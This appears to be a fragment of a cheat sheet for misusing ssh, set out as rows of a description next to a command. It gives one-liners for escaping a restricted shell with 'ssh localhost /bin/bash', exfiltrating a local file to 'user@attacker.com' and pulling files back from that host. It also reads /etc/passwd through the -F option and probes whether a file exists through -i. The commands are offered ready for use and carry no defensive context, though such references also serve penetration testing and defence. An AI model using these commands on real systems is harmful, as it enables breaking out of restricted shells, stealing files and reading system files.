| description | 
code | 
 
| Reconnecting may help bypassing restricted shells. | 
ssh localhost /bin/bash --noprofile --norc | 
 
 
 | 
 
 
 | 
| description | 
code | 
 
| Fetch a remote file from a SSH server. | 
HOST=user@attacker.com
RPATH=file_to_get
LPATH=where_to_save
ssh $HOST "cat $RPATH" > $LPATH
 | 
 
 
 | 
 
 
 | 
| description | 
code | 
 
| Send local file to a SSH server. | 
HOST=user@attacker.com
RPATH=where_to_save
LPATH=file_to_send
ssh $HOST "cat > $RPATH" < $LPATH
 | 
 
 
 | 
 
 
 | 
| description | 
code | 
 
| Read strings from text files. Reliability depends on content of files but works well with /etc/passwd | 
ssh -F /etc/passwd localhost | 
 
 
 | 
 
 
 | 
| description | 
code | 
 
| Tests whether a file exists. | 
ssh -i /filename localhost | 
 
 
 | 
 
 
 |